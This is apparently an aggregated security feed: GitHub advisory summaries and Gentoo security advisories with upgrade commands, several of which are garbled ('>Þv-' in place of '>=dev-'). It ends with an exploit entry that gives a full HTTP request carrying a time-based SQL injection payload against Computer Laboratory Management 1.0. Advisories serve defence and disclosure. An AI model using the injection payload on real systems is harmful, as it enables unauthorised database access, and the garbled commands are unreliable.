Improper Input Validation vulnerability in Apache DolphinScheduler. An authenticated user can cause arbitrary, unsandboxed javascript to be executed on the server. If you are using the switch task plugin, please upgrade to version 3.2.2.

**Apache DolphinScheduler: RCE by arbitrary js execution**

High severity GitHub Reviewed Published Aug 12, 2024 to the GitHub Advisory Database • Updated Aug 12, 2024

GHSA-m9q4-p56m-mc6q: Apache DolphinScheduler: RCE by arbitrary js execution

izatop bunt v0.29.19 was discovered to contain a prototype pollution via the component /esm/qs.js. This vulnerability allows attackers to execute arbitrary code via injecting arbitrary properties.

**Prototype pollution in izatop bunt**

Critical severity GitHub Reviewed Published Aug 12, 2024 to the GitHub Advisory Database • Updated Aug 13, 2024

GHSA-p734-xg27-8cfq: Prototype pollution in izatop bunt

Gentoo Linux Security Advisory 202408-33 - Multiple vulnerabilities have been discovered in protobuf-c, the worst of which could result in denial of service. Versions greater than or equal to 1.4.1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-33  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Low  
    Title: protobuf-c: Multiple Vulnerabilities  
     Date: August 12, 2024  
     Bugs: #856043, #904423  
       ID: 202408-33

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
Multiple vulnerabilities have been discovered in protobuf-c, the worst  
of which could result in denial of service.

Background  
=========  
protobuf-c is a protocol buffers implementation in C.

Affected packages  
================  
Package              Vulnerable    Unaffected  
-------------------  ------------  ------------  
dev-libs/protobuf-c  < 1.4.1       >= 1.4.1

Description  
==========  
Multiple denial of service vulnerabilities have been discovered in  
protobuf-c.

Impact  
=====  
Please review the referenced CVE identifiers for details.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All protobuf-c users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">Þv-libs/protobuf-c-1.4.1"

References  
=========  
[ 1 ] CVE-2022-33070  
      https://nvd.nist.gov/vuln/detail/CVE-2022-33070  
[ 2 ] CVE-2022-48468  
      https://nvd.nist.gov/vuln/detail/CVE-2022-48468

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-33

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-33

Gentoo Linux Security Advisory 202408-32 - Multiple vulnerabilities have been discovered in PHP, the worst of which can lead to a denial of service. Versions greater than or equal to 8.1.29:8.1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-32  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: PHP: Multiple Vulnerabilities  
     Date: August 12, 2024  
     Bugs: #889882, #895416, #908259, #912331, #929929, #933752  
       ID: 202408-32

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
Multiple vulnerabilities have been discovered in PHP, the worst of which  
can lead to a denial of service.

Background  
=========  
PHP is a widely-used general-purpose scripting language that is  
especially suited for Web development and can be embedded into HTML.

Affected packages  
================  
Package       Vulnerable     Unaffected  
------------  -------------  -------------  
dev-lang/php  >= 8.1.29:8.1  >= 8.1.29:8.1  
              >= 8.2.20:8.2  >= 8.2.20:8.2  
              >= 8.3.8:8.3   >= 8.3.8:8.3  
              < 8.1          >= 8.1.29

Description  
==========  
Multiple vulnerabilities have been discovered in PHP. Please review the  
CVE identifiers referenced below for details.

Impact  
=====  
Please review the referenced CVE identifiers for details.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All PHP users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">Þv-lang/php-8.1.29:8.1"  
  # emerge --ask --oneshot --verbose ">Þv-lang/php-8.2.20:8.2"  
  # emerge --ask --oneshot --verbose ">Þv-lang/php-8.3.8:8.3"

Support for older version has been discontinued:

  # emerge --ask --verbose --depclean "<dev-lang/php-8.1"

References  
=========  
[ 1 ] CVE-2022-31631  
      https://nvd.nist.gov/vuln/detail/CVE-2022-31631  
[ 2 ] CVE-2023-0567  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0567  
[ 3 ] CVE-2023-0568  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0568  
[ 4 ] CVE-2023-0662  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0662  
[ 5 ] CVE-2023-3823  
      https://nvd.nist.gov/vuln/detail/CVE-2023-3823  
[ 6 ] CVE-2023-3824  
      https://nvd.nist.gov/vuln/detail/CVE-2023-3824  
[ 7 ] CVE-2024-2756  
      https://nvd.nist.gov/vuln/detail/CVE-2024-2756  
[ 8 ] CVE-2024-2757  
      https://nvd.nist.gov/vuln/detail/CVE-2024-2757  
[ 9 ] CVE-2024-3096  
      https://nvd.nist.gov/vuln/detail/CVE-2024-3096  
[ 10 ] CVE-2024-4577  
      https://nvd.nist.gov/vuln/detail/CVE-2024-4577  
[ 11 ] CVE-2024-5458  
      https://nvd.nist.gov/vuln/detail/CVE-2024-5458  
[ 12 ] CVE-2024-5585  
      https://nvd.nist.gov/vuln/detail/CVE-2024-5585

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-32

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-32

Gentoo Linux Security Advisory 202408-31 - A vulnerability has been discovered in protobuf and protobuf-python, which can lead to a denial of service. Versions greater than or equal to 3.20.3 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-31  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: protobuf, protobuf-python: Denial of Service  
     Date: August 12, 2024  
     Bugs: #872434  
       ID: 202408-31

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
A vulnerability has been discovered in protobuf and protobuf-python,  
which can lead to a denial of service.

Background  
=========  
Google's Protocol Buffers are an extensible mechanism for serializing  
structured data.

Affected packages  
================  
Package                     Vulnerable    Unaffected  
--------------------------  ------------  ------------  
dev-libs/protobuf           < 3.20.3      >= 3.20.3  
dev-python/protobuf-python  < 3.19.6      >= 3.19.6

Description  
==========  
A vulnerability has been discovered in protobuf and protobuf-python.  
Please review the CVE identifiers referenced below for details.

Impact  
=====  
A parsing vulnerability for the MessageSet type can lead to out of  
memory failures. A specially crafted message with multiple key-value per  
elements creates parsing issues, and can lead to a Denial of Service  
against services receiving unsanitized input.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All protobuf and protobuf-python users should upgrade to the latest  
version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">Þv-libs/protobuf-3.20.3"  
  # emerge --ask --oneshot --verbose ">Þv-python/protobuf-python-3.19.6"

References  
=========  
[ 1 ] CVE-2022-1941  
      https://nvd.nist.gov/vuln/detail/CVE-2022-1941

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-31

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-31

Gentoo Linux Security Advisory 202408-30 - A vulnerability has been discovered in dpkg, which allows for directory traversal. Versions greater than or equal to 1.20.9-r1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-30  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: dpkg: Directory Traversal  
     Date: August 12, 2024  
     Bugs: #847976  
       ID: 202408-30

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
A vulnerability has been discovered in dpkg, which allows for directory  
traversal.

Background  
=========  
Debian package management system.

Affected packages  
================  
Package        Vulnerable    Unaffected  
-------------  ------------  ------------  
app-arch/dpkg  < 1.20.9-r1   >= 1.20.9-r1

Description  
==========  
Please review the CVE indentifier referenced below for details.

Impact  
=====  
Dpkg::Source::Archive in dpkg, the Debian package management system, is  
prone to a directory traversal vulnerability. When extracting untrusted  
source packages in v2 and v3 source package formats that include a  
debian.tar, the in-place extraction can lead to directory traversal  
situations on specially crafted orig.tar and debian.tar tarballs.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All dpkg users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-arch/dpkg-1.20.9-r1"

References  
=========  
[ 1 ] CVE-2022-1664  
      https://nvd.nist.gov/vuln/detail/CVE-2022-1664

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-30

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-30

Gentoo Linux Security Advisory 202408-29 - Multiple vulnerabilities have been discovered in MuPDF, the worst of which could lead to arbitrary code execution. Versions greater than or equal to 1.20.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-29  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: MuPDF: Multiple Vulnerabilities  
     Date: August 12, 2024  
     Bugs: #803305  
       ID: 202408-29

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
Multiple vulnerabilities have been discovered in MuPDF, the worst of  
which could lead to arbitrary code execution.

Background  
=========  
A lightweight PDF, XPS, and E-book viewer.

Affected packages  
================  
Package         Vulnerable    Unaffected  
--------------  ------------  ------------  
app-text/mupdf  < 1.20.0      >= 1.20.0

Description  
==========  
Multiple vulnerabilities have been discovered in MuPDF. Please review  
the CVE identifiers referenced below for details.

Impact  
=====  
Please review the referenced CVE identifiers for details.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All MuPDF users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-text/mupdf-1.20.0"

References  
=========  
[ 1 ] CVE-2021-4216  
      https://nvd.nist.gov/vuln/detail/CVE-2021-4216  
[ 2 ] CVE-2021-37220  
      https://nvd.nist.gov/vuln/detail/CVE-2021-37220

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-29

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-29

Gentoo Linux Security Advisory 202408-28 - A vulnerability has been discovered in rsyslog, which could possibly lead to remote code execution. Versions greater than or equal to 8.2206.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-28  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: rsyslog: Heap Buffer Overflow  
     Date: August 11, 2024  
     Bugs: #842846  
       ID: 202408-28

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
A vulnerability has been discovered in rsyslog, which could possibly  
lead to remote code execution.

Background  
=========  
rsyslog is an enhanced multi-threaded syslogd with database support and  
more.

Affected packages  
================  
Package            Vulnerable    Unaffected  
-----------------  ------------  ------------  
app-admin/rsyslog  < 8.2206.0    >= 8.2206.0

Description  
==========  
Multiple vulnerabilities have been discovered in rsyslog. Please review  
the CVE identifiers referenced below for details.

Impact  
=====  
Modules for TCP syslog reception have a heap buffer overflow when octet-  
counted framing is used. The attacker can corrupt heap values, leading  
to data integrity issues and availability impact. Remote code execution  
is unlikely to happen but not impossible.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All rsyslog users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-admin/rsyslog-8.2206.0"

References  
=========  
[ 1 ] CVE-2022-24903  
      https://nvd.nist.gov/vuln/detail/CVE-2022-24903

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-28

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-28

Gentoo Linux Security Advisory 202408-27 - A vulnerability has been discovered in AFLplusplus, which can lead to arbitrary code execution via an untrusted CWD. Versions greater than or equal to 4.06c are affected.

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Gentoo Linux Security Advisory                           GLSA 202408-27- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -                                           https://security.gentoo.org/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal    Title: AFLplusplus: Arbitrary Code Execution     Date: August 11, 2024     Bugs: #897924       ID: 202408-27- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Synopsis=======A vulnerability has been discovered in AFLplusplus, which can lead toarbitrary code execution via an untrusted CWD.Background=========The fuzzer afl++ is afl with community patches, qemu 5.1 upgrade,collision-free coverage, enhanced laf-intel & redqueen, AFLfast++ powerschedules, MOpt mutators, unicorn_mode, and a lot more!Affected packages================Package                    Vulnerable    Unaffected-------------------------  ------------  ------------app-forensics/aflplusplus  < 4.06c       >= 4.06cDescription==========In AFL++ 4.05c, the CmpLog component uses the current working directoryto resolve and execute unprefixed fuzzing targets, allowing codeexecution.Impact=====In AFL++ 4.05c, the CmpLog component uses the current working directoryto resolve and execute unprefixed fuzzing targets, allowing codeexecution.Workaround=========There is no known workaround at this time.Resolution=========All AFLplusplus users should upgrade to the latest version:  # emerge --sync  # emerge --ask --oneshot --verbose ">=app-forensics/aflplusplus-4.06c"References=========[ 1 ] CVE-2023-26266      https://nvd.nist.gov/vuln/detail/CVE-2023-26266Availability===========This GLSA and any updates to it are available for viewing atthe Gentoo Security Website: https://security.gentoo.org/glsa/202408-27Concerns?========Security is a primary focus of Gentoo Linux and ensuring theconfidentiality and security of our users' machines is of utmostimportance to us. Any security concerns should be addressed tosecurity@gentoo.org or alternatively, you may file a bug athttps://bugs.gentoo.org.License======Copyright 2024 Gentoo Foundation, Inc; referenced textbelongs to its owner(s).The contents of this document are licensed under theCreative Commons - Attribution / Share Alike license.https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-27

Computer Laboratory Management version 1.0 suffers from a remote authenticated SQL injection vulnerability.

    # Exploit Title: Computer Laboratory Management - SQL Injection (Authenticated)# Date: 11/08/2024# Exploit Author: Mert Kuvvet# Vendor Homepage:https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html# Software Link:https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lms.zip# Version: 1.0# Tested on: Windows 11 / XAMPP############## Authenticated SQL Injection ##############GET /php-lms/admin/?page=user/manage_user&id=7%27%20OR%20SLEEP(10)--%20-HTTP/1.1Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Connection: keep-aliveCookie: PHPSESSID=9daen5894p8jjjehipoq0pi7s6Host: localhostSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Tag

#vulnerability